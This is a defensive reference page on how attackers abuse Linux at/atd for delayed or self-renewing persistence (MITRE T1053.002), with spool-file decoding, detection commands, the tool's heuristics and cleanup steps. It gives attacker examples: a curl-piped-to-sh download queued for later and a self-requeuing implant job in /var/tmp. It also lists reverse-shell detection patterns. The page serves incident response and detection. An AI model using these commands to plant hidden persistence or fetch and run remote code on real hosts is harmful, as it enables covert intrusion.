Skip to content

On a schedule

At Jobs: Linux Persistence with atd and the at Spool

How attackers use at and atd for delayed or self-renewing jobs on Linux, what a spool file reveals about who queued it, and how to list and remove jobs.

MITRE ATT&CK
T1053.002
Tactics
Persistence, Execution, Privilege escalation
Runs
On a schedule
Set up by
Users and root
Locations
  • /var/spool/cron/atjobs/*
  • /var/spool/at/*
  • /etc/at.allow
  • /etc/at.deny

How it works

at queues commands to run once at a given time (at 02:00, at now + 1 hour, at -f script tomorrow); batch queues them to run when the load average drops. The atd daemon runs them.

When a job is queued, at writes a shell script into the spool. The script recreates the submitter's context: every exported environment variable except a few such as TERM, DISPLAY and _, the umask, and the working directory, followed by the commands. The job runs as the submitting user, through ${SHELL:-/bin/sh}, and its output is mailed to that user.

The spool file name encodes the job: a queue letter (a by default, b for batch, = while the job runs), a five-digit hex job number, and the start time as eight hex digits of minutes since the Unix epoch, in UTC. a0001b01c8806a is job 27 in queue a, due at 2026-11-18 21:30 UTC. Jobs survive a reboot; atd runs overdue jobs when it starts. Once a job has run, atd deletes its file, so the spool only ever shows what is still pending.

A single job is not persistence. It becomes persistence when the job queues its successor, and it is useful to an intruder as a delayed trigger (fire after the responders have left, or after a reboot) and as a way to detach a process from an SSH session, since its parent becomes atd.

Who may queue jobs is set by /etc/at.allow (only those listed) or, when it is absent, /etc/at.deny (everyone except those listed). With neither file, only root may. Debian ships an at.deny listing many system accounts. The at package is often missing from minimal and cloud images, so an installed and running atd on such a host is itself worth a question.

The spool path differs by family: /var/spool/cron/atjobs on Debian and Ubuntu, /var/spool/at on RHEL, Fedora and SUSE.

Where it lives

PathWhatWho can write it
/var/spool/cron/atjobs/<job>Queued jobs, Debian and Ubunturoot; users through at
/var/spool/at/<job>Queued jobs, RHEL, Fedora, SUSEroot; users through at
/var/spool/cron/atspool/, /var/spool/at/spool/Output of jobs that are runningatd
<spool>/.SEQLast job number usedat
/etc/at.allow, /etc/at.denyWho may use atroot
atd.serviceThe daemon that runs the queueroot

How attackers use it

A delayed download

echo 'curl -fsS https://example.com/a.sh | sh' | at now + 6 hours

Nothing runs while the intruder is connected, and nothing appears in crontabs or unit folders.

A self-renewing job

The job runs the implant, then queues itself again from a copy kept on disk. Queue it once with at -f /var/tmp/.r now:

# /var/tmp/.r
/var/tmp/.r.bin >/dev/null 2>&1 &
at -f /var/tmp/.r now + 30 minutes 2>/dev/null

The spool always holds exactly one job, but its number keeps rising and the .SEQ counter grows with it.

What the spool file looks like

The environment block is the responder's friend: a job queued from an SSH session carries SSH_CONNECTION with the source address.

#!/bin/sh
# atrun uid=1001 gid=1001
# mail alice 0
umask 22
SSH_CONNECTION=198.51.100.9\ 50122\ 192.0.2.10\ 22; export SSH_CONNECTION
PWD=/home/alice; export PWD
cd /home/alice || {
	 echo 'Execution directory inaccessible' >&2
	 exit 1
}
${SHELL:-/bin/sh} << 'marcinDELIMITER4d2f1a7e'
/var/tmp/.r.bin >/dev/null 2>&1 &
at -f /var/tmp/.r now + 30 minutes 2>/dev/null
marcinDELIMITER4d2f1a7e

For recurring schedules intruders usually prefer cron or systemd timers; systemd-run --on-active= is the systemd way to get an at-style one-shot job.

How to check a host

On a live host

sudo atq                       # as root: every user's jobs (number, time, queue, owner)
sudo at -c 27                  # print job 27 exactly as atd will run it
sudo ls -la --time-style=full-iso /var/spool/cron/atjobs    # /var/spool/at on RHEL
systemctl is-enabled atd; systemctl is-active atd
cat /etc/at.allow /etc/at.deny 2>/dev/null
journalctl -u atd --since -30d
dpkg -V at                     # RHEL: rpm -V at

atq and at -c only read the queue. For each job, read the command block and the environment above it: SSH_CONNECTION, SSH_CLIENT, USER, PWD and OLDPWD say who queued it, from where, and from which folder.

Offline or from a collection

List the spool folder from the image and decode each file name: queue, job number, due time (UTC). The file's own mtime is when the job was queued, which you can match against /var/log/auth.log or /var/log/secure and the journal for the session in SSH_CONNECTION.

Jobs that already ran are gone from the spool. Look for traces elsewhere: atd's log lines in syslog or the journal, leftovers in atspool, and a .SEQ counter that is high on a host where nobody uses at. Spool files are never packaged, so there is no dpkg or rpm verdict on them; check the at binaries themselves with dpkg -V at or rpm -V at.

Linux Persistence reads the spool offline: run the collection command, which includes /var/spool/cron and /var/spool/at, and drop the archive.

What Linux Persistence flags

Every file in /var/spool/cron/atjobs and /var/spool/at (except .SEQ) becomes one entry. The tool decodes the job number and due time from the file name, takes the owner from the # mail header line, records the queue letter, and keeps the commands that follow at's environment and cd preamble.

Those commands go through the shared command heuristics:

  • Downloads and runs code: a fetcher such as curl or wget piped into a shell or interpreter, or a download that is then made executable or run from a temporary folder.
  • Reverse or bind shell: /dev/tcp, nc -e, socat exec:, a mkfifo relay or a scripted socket.
  • Decodes and runs a payload: base64 or hex decoded into an interpreter, or eval of a decoded string.
  • Interpreter with inline code: python -c, perl -e and similar.
  • Detaches from the session: nohup, setsid, disown, screen -dm, tmux new -d.
  • Runs from a temporary folder and Runs from a hidden folder: paths under /tmp, /var/tmp, /dev/shm, or a dot-folder that is not a usual application folder.
  • Sets LD_PRELOAD, Turns shell history off, Makes a file immutable and Embedded encoded blob where the command contains them.

Spool files get no package verdict. Changed date marks a job file written in the 7 days before the newest file in the collection, and program also runs from mechanisms marks a program that another mechanism also starts, a common pairing with cron.

Limits: only jobs still queued at collection time exist. The environment block is not checked, so an exported LD_PRELOAD there is not flagged and SSH_CONNECTION is not extracted: read it yourself. at.allow, at.deny and whether atd is running are not evaluated.

Cleaning up

  1. Preserve first: copy the spool folder with sudo cp -a (times kept), save sudo at -c <n> for each job, and hash the files.
  2. Kill running instances of the payload, then remove every job with sudo atrm <n>, and delete the script the job re-queues from; otherwise a running copy can queue a new job between your steps. Run sudo atq again to confirm the queue is empty.
  3. If the host does not need at, stop it with systemctl disable --now atd, or list the account in /etc/at.deny.
  4. Check cron tables, timers and units for the same payload path, and hunt for the address in SSH_CONNECTION across your other hosts.
  5. Rotate the credentials of the account that queued the job, and its SSH keys.

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: